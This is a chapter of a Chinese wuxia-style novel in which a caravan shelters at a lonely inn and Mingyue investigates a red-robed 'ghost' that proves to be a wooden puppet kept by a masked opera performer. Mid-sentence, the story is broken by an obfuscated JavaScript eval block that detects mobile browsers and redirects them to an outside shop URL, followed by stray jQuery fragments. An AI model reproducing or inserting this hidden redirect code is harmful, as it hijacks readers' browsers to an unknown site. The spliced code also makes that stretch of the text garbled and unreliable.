一连下了两日的雨,非但没有要停的意思,反而愈下愈大。
蒙蒙雨雾中,一间野店出现在众人眼前。这店小一座,远看有些孤寂,细看更是简陋。
往日常走的那条路在修官道,陈峰只得带众人走这条荒野小路。只是以往从这里经过时,可不曾见过此处有这么个店。
店主是个佝偻着身子的男人,面相有些苍老。他远远透过篱墙看到人来,撑了只破油伞前来开门,陈峰跟他搭话,他也并未理会,不知是听不懂还是听不见。
打开门,他又转过身慢悠悠往回走,陈峰指挥着伙计们赶紧进去:“都小心些,雨大别淋湿了。”
落雨阴寒,明月不由得打了个颤,一旁叔文倾过身来,“小心这地方,别淋湿了货。”
陈峰已跑到檐下脱掉身上湿重的蓑笠,回头见店家仍在雨中缓缓走着,不紧不慢地过来收起伞,终于开了口:“随我来。”
楼下的客房并没有上锁,叔文前去将门都一一打开。房间门小,门前有阶,车推不进去,众人只能冒着雨,一趟趟把货箱往里搬。
王一斑跑到明月跟前,对她说:“你把车套子卸下来,马牵到那个棚子里。”说着一指不远处的小棚,又跑去忙活了。
明月不会骑马,更没弄过车套子,眼瞅大伙都在忙碌,只得自己研究。
“不对,从这里。”
正发着愁,柳夫人不知何时来到了身后,在她的指点下,明月成功卸了下来。
“多谢。”
柳夫人轻轻一笑,往楼里走去了。
忙完手里的活,明月站在檐下望着瓢泼大雨。此刻众人也忙的差不多了,正在将车板拉到墙边盖上雨布,陆陆续续回房休息。
不一会儿,叔文从楼上下来,带她走到二楼南边的一间屋子:“你今日在这里休息,我在你隔壁。”
屋内逼仄的连个桌也没有,只有张窄小的木床。外面的雨仍哗哗地喧嚣着,使阴沉的房间显得更加凄凉。灰尘堆叠着潮湿的味道令她嗅得不适,明月换去湿衣想到外边透透气。
但廊道里的空气也潮潮的。
见她出来,叔文伸手递来杯温水,“店家不让去那边。”他说着话,目光却一直望向北边廊道。
明月应着将温水饮下,顿时感觉轻快了许多,“你想去看看?”
“没有,出门在外少惹是非为好。听说那边住了个客人喜好清净,是唱戏的。”
“我还没听过戏。”明月说着也好奇地看向了那里。
身旁的门忽然开了,开门的是柳安,示意二人进屋去。屋里柳夫人正坐在桌旁,向着二人招呼道:“进来喝一杯,暖暖身子。”
叔文左右环顾屋内,有些羡慕:“这屋子和楼下的一样宽敞。”
酒下了肚,身子立刻暖和起来。二人与柳夫人闲聊起身家事,又惆怅何时才能上路,柳安在旁偶尔搭腔,看上去老实了许多。
一碗酒吃完,两人借口要喂马,识趣的道谢离开了。
棚里,王一斑正跟匹马在唠嗑,见明月和叔文走过来,忽然就不说话了,只是继续喂着草料。
明月抓来一把,见料子干净,遂问:“店家准备的?”
“咱自己带的。这地方生疏,不敢乱吃。”
也是,就是不知这雨何时能停。明月看向外面的天空,暗沉沉的,快要入夜了。
感觉到手中的草料被拉扯着,明月回头,见是匹马吧唧着大嘴抢了去。
“都给你。”明月又取来些给它,它却躲着不要了,留明月一人抱着堆干草摸不着头脑。
王一斑见她吃瘪,翘着嘴角偷笑起来。
在旁一直看她忙活的叔文也笑着开了口:“等有空,我教你骑马。”
她正起了兴趣,一口应下,“好。”
半夜,雨声稍小了些,却仍聒噪得明月睡不着觉。她摸黑翻了个身,结果一头撞到墙上,疼的她呲牙咧嘴。
正恼着,墙面忽然传来“梆梆”两声,她也“梆梆”敲了回去。
这下墙不响了,片刻后,门口有人低声唤她,“小师叔,你睡了吗?”
“进来吧,门坏了栓不上。”
“吱”地一声,门被缓缓推开,叔文拿着个火折子走了进来。
明月问他:“你也睡不着吗?”
“怕出事,就没睡。”
应该出不了什么事,这地方虽然有些诡异,不过一群年轻力壮的大小伙子,还能怕一个佝偻老人和一个唱戏的吗?
想着,明月起身接过火,“你在我这睡,我来守。”她从床头摸出半只蜡点上,“我去外边看看。”
一出门,正碰见柳安。他上下扫了明月一眼,小声招呼:“一块撒尿去呀?”
有够热情,但明月也只能拒绝,对方哦了一声,径自下楼去了。
廊道黑黑,唯有北边那间屋里透出些光亮,想来那个戏人也被雨声吵得睡不着觉吧。
同是不眠人,明月想去拜访,但又想到人家喜欢清静,还特意托了店家别让人打扰,也就没有过去讨嫌了。
刚走到楼下,就见柳安慌慌张张往里跑,起伏的胸口肉眼可见的不安。
明月问他:“这是怎么了?”
柳安这张灵巧的嘴,也有连话都说不利索的时候。
“外,外边有个女,女鬼!”
“什么?”明月最不信鬼神,知道那是人编来逗闷的,“你看错了,会不会是柳夫人?”
“别瞎说,那哪能啊!那个鬼披头散发,站在雨里这样式儿。”他说着高举起双臂,左右晃动着身子。
“你说的,是猴?”
“不是,它穿个红衣裳,头发拖到地上了都。”柳安说着越发害怕,想要赶紧回去告诉长姐。
明月一把拦住他,“先别慌,世上没鬼的,别再打扰柳夫人休息,你先带我去看看。”
柳安哪敢再去,摇着头就要往楼上窜。明月只得一把拽住他,将蜡烛放到他手里,“你可拿好了,灭了可就什么都看不见了。且先随我去取刀来,定叫那‘小鬼’不敢造次。”
回屋拿上刀,明月拔给他看,“你瞧,削铁如泥,是人是鬼都杀得。”
床上,叔文被动静扰醒,揉着惺忪的睡眼问:“怎么了吗?”
“有鬼!”柳安压低了声音,一脸惊惧。
闻言叔文哼哼笑着翻了个身,将被子裹紧了些,“我师叔是捉鬼师,你随她去吧。”
柳安看向明月,将信将疑,“真的?”
“真的。你不是好奇我们帮主为何请个白面小书生随行,就因为她会捉鬼呐。”
当然不是真的,不信鬼,又哪来捉鬼一说。不过话说到此,明月稍作迟疑,还是配合的应了一声,柳安这才扭扭捏捏同意带她去。
楼后面是块荒地,柳安站在门洞不肯走了,指着前面,“就那。”
随他指的方向,的确有一影子在夜雨中隐隐绰绰,但也不见得就是个女鬼。
明月带上蓑帽,拔刀而去。
走近些了,还真看出个人形,似背对着,红袍拖地,发披在背长至腰,正举起双臂抖动着身子,像在雨中祈舞的神婆。
原以为是柳安害怕,看岔了瞎编的,没想到描述的还挺准,明月心里不由得打起鼓来。
怕不是个死人在这风雨里吊着吧。
她清了清桑嗓子,故作镇定,问道:“这位……阁下是哪路道友?何故在这夜黑雨紧之中练功?当心湿寒侵体,适得其反。”
对方没有说话。
“您……”她伸手按到对方肩头,手感湿冷而坚硬,惊得她一下弹开了手。
回过头,柳安正在避雨处惴惴不安的举着蜡烛往这儿张望,明月暗自壮了壮胆,再次搭上对方的肩。
忽然,对方的脑袋朝她搭拢过来,她一惊,还不等反应,身后已有人对她呵道:“放开她!”
明月连忙放开手,转过身来,不见远处的柳安,却见
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14300267|152212||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眼前站着一个与红影打扮得一模一样的男子。
他一手持红伞,一手拿着明月交给柳安的半截蜡正看向她。
大抵是“看”吧,男子的脸上不见五官,只有白茫茫一片。
不知他何时来的,许是雨声大,明月竟没有察觉。
“离她远些。”冰冷沉闷的声音从伞下传来。
明月好奇的打量着他。此刻说不上害怕,因为对方似乎没有恶念,否则就不止是出声制止了。
男子将手里的半截蜡抛来,揽过那个红影转身走了。在蜡烛飞到空中将灭的一瞬,明月清楚地看到,那红影是个木人。
柳安醒来时天已大亮,雨也小了许多,一睁眼,他就嚷着“鬼啊鬼啊”的。
“我可没胡说啊,明月兄弟,你昨晚可都看到了吧。”
明月摇了摇头,“没有。”
“就内个,穿着嫁衣,披头散发的,没有脸!”
嫁衣?这么一说还真有些像。明月耐着性子向他解释:“世上没有鬼。”
柳安并未理会她,仍自言自语着,“完了完了完了,我昨晚定是被鬼摄了魂,不然怎么突然昏倒了呢。”忽然他弓身向明月拜礼,“明月大师,往日是我有眼无珠冒犯了您,烦请您给我驱个鬼吧!”
明月无言,转头看向叔文。
叔文干咳一声,端正道:“既然,他承认了错误,真心悔过,小师叔不妨就为他做一场法事,给他一个重新做人的机会。”
他竟也帮腔,明月无奈,只好让柳安站直了身子。
柳安忙站的挺直,闭着眼又睁开个缝。
明月拔出刀来在他双肩虚砍了两下,“好了。”
“您还没念经呢。”
好吧。明月对着他随便背了段修养心性的经文。
“您得绕着我念。”
这一时不知谁是驱鬼的了。明月叹了口气,耐着性子又拔出刀来,不仅遂了他心愿,绕着他念经,还耍了套刀法。只是屋子小,有点施展不开,逼得叔文躲到了床上。
如此,柳安才满意,“多谢大师。我去给大伙说说,让大伙都小心些,别撞了鬼。”说着,他离开了屋子。
还挺热心。叔文笑着下了床,“说说看,遇到什么有趣的?”
昨夜明月回到楼上时,听到北边屋子里隐隐传来的碎语:“下次再调皮,可就不止罚你淋雨了。你看,手指都泡坏了,惹得我心疼。别哭啊,回去又给你换新的。”
男子温声细语,似乎真是对一位娇俏娘子说的,可若说他怜惜,怎又把木件吊在雨水里泡着,何况木头能犯什么错呢。
见明月顾自发呆,也不吭声,叔文伸手在她眼前晃了晃:“想什么?也不说给我听。”
“只是个带着面具的男人和一个木偶罢了。”
叔文哼笑道:“怕不是个痴汉,与木偶做夫妻。”
明月连忙抬手掩到他嘴前,又伸手向北一指,叔文忙压低声音,凑近她问:“是北边那个戏子?”
得到明月肯定,他也不再说了。
天虽然还阴着,但比昨日亮堂些,看来雨快要停了。
廊道寂静,只有雨声。明月久久注视着北边屋子,总觉得那儿空荡荡的,没有人的气息。
楼下屋里倒是热闹得很,柳安正绘声绘色的给大伙讲着鬼故事。众人自然不信他鬼扯,但被困在这儿,能解个闷也不错。
“不过说来,好久没见到店家了。”
“嗯,和消失了一样。”
晚上,柳安闹着要到明月屋里睡,非说她昨夜捉了鬼王鬼后,必吓得其他小鬼不敢再来犯她。
柳夫人也跟着说笑:“正好收收这孩子的‘鬼’话,省的他整日没头没脑的乱扯。”
最后还是陈峰让王一斑过来把他给拎走了,“我们屋里阳气重,保管大鬼小鬼都不敢来。”
次日一早,雨停了,陈峰看着天空,吃完了手里最后一口干粮。
“行路!”